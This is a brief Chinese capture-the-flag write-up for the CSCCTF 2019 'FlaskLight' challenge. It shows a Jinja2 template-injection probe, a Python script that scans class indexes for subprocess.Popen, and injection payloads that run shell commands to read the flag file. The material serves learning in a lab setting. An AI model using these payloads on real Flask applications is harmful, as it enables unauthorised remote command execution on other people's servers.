[CSCCTF 2019 Qual]FlaskLight
打开环境
源代码里发现可通过GET方式传入参数
简单验证发现存在SSTI
{{''.__class__.__mro__[2].__subclasses__()}}
#可以爆出所有的类
编写脚本查找可利用的类
利用subprocess.Popen执行命令
import requests
import re
import html
import time
index = 0
for i in range(170, 1000):
try:
url = "http://d508a2e1-0194-4d51-871a-42388d21b1a5.node5.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
标签:__,.__,CSCCTF,res,__.__,Qual,mro,2019,class
From: https://www.cnblogs.com/fishjumpriver/p/18171262